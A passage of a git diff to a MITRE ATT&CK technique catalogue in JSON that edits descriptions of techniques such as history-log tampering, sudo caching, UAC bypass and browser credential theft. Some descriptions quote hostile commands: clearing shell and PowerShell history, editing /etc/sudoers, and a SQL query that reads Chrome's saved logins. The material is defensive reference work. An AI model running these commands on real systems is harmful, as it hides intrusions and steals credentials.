Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ", + "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ", "meta": { "external_id": "T1602.002", "kill_chain": [ @@ -3357,9 +3221,6 @@ "kill_chain": [ "mitre-attack:defense-evasion" ], - "mitre_data_sources": [ - "Application Log: Application Log Content" - ], "mitre_platforms": [ "Linux", "macOS", @@ -3379,7 +3240,7 @@ "value": "Indicator Removal from Tools - T1027.005" }, { - "description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", + "description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", "meta": { "external_id": "T1098.002", "kill_chain": [ @@ -3392,14 +3253,11 @@ ], "mitre_platforms": [ "Windows", - "Office 365", - "Google Workspace" + "Office 365" ], "refs": [ "https://attack.mitre.org/techniques/T1098/002", "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps", - "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html", - "https://support.google.com/a/answer/7223765?hl=en", "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/", "https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html", "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", @@ -3413,7 +3271,7 @@ } ], "uuid": "e74de37c-a829-446c-937d-56a44f0e9306", - "value": "Additional Email Delegate Permissions - T1098.002" + "value": "Exchange Email Delegate Permissions - T1098.002" }, { "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)", @@ -3545,55 +3403,6 @@ "uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "value": "Create Process with Token - T1134.002" }, - { - "description": "Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device. \n\nMobile devices generally enable these security controls by default, such as preventing the installation of unknown applications on Android. Adversaries may modify these policies in a number of ways, including [Input Injection](https://attack.mitre.org/techniques/T1516) or malicious configuration profiles.", - "meta": { - "external_id": "STA-7", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1632/001", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html" - ] - }, - "related": [ - { - "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", - "type": "subtechnique-of" - } - ], - "uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "value": "Code Signing Policy Modification - T1632.001" - }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking the way an operating system run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time. \n\n\nOn Android, adversaries may overwrite the standard OS API library with a malicious alternative to hook into core functions to achieve persistence. By doing this, the adversary’s code will be executed every time the overwritten API function is called by an app on the infected device.", - "meta": { - "external_id": "APP-27", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1625/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html" - ] - }, - "related": [ - { - "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", - "type": "subtechnique-of" - } - ], - "uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", - "value": "System Runtime API Hijacking - T1625.001" - }, { "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)", "meta": { @@ -3633,15 +3442,12 @@ "value": "Disable or Modify Tools - T1562.001" }, { - "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ", + "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ", "meta": { "external_id": "T1195.002", "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "File: File Metadata" - ], "mitre_platforms": [ "Linux", "macOS", @@ -3698,9 +3504,6 @@ "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "Sensor Health: Host Status" - ], "mitre_platforms": [ "Linux", "macOS", @@ -3720,7 +3523,7 @@ "value": "Compromise Hardware Supply Chain - T1195.003" }, { - "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", + "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example: \n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "meta": { "external_id": "CAPEC-556", "kill_chain": [ @@ -3959,7 +3762,7 @@ "value": "Disable Windows Event Logging - T1562.002" }, { - "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging.", + "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "meta": { "external_id": "CAPEC-13", "kill_chain": [ @@ -3972,8 +3775,7 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1562/003", @@ -3993,65 +3795,7 @@ "value": "Impair Command History Logging - T1562.003" }, { - "description": "Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.", - "meta": { - "external_id": "T1629.003", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1629/003" - ] - }, - "related": [ - { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "type": "subtechnique-of" - } - ], - "uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "value": "Disable or Modify Tools - T1629.003" - }, - { - "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. ", - "meta": { - "external_id": "SPC-21", - "kill_chain": [ - "mitre-mobile-attack:initial-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1474/002", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html" - ] - }, - "related": [ - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "type": "subtechnique-of" - } - ], - "uuid": "c08366bb-8d11-4921-853f-f0a3b6a2a1da", - "value": "Compromise Hardware Supply Chain - T1474.002" - }, - { - "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", + "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", "meta": { "external_id": "T1548.002", "kill_chain": [ @@ -4126,7 +3870,7 @@ "value": "User Activity Based Checks - T1497.002" }, { - "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", + "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", "meta": { "external_id": "T1552.005", "kill_chain": [ @@ -4186,36 +3930,7 @@ "value": "Exfiltration to Cloud Storage - T1567.002" }, { - "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.", - "meta": { - "external_id": "SPC-20", - "kill_chain": [ - "mitre-mobile-attack:initial-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1474/003", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html" - ] - }, - "related": [ - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "type": "subtechnique-of" - } - ], - "uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", - "value": "Compromise Software Supply Chain - T1474.003" - }, - { - "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", + "description": "Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", "meta": { "external_id": "T1548.003", "kill_chain": [ @@ -4249,7 +3964,7 @@ "value": "Sudo and Sudo Caching - T1548.003" }, { - "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "meta": { "external_id": "T1555.003", "kill_chain": [ @@ -4397,7 +4112,7 @@ "value": "Elevated Execution with Prompt - T1548.004" }, { - "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware 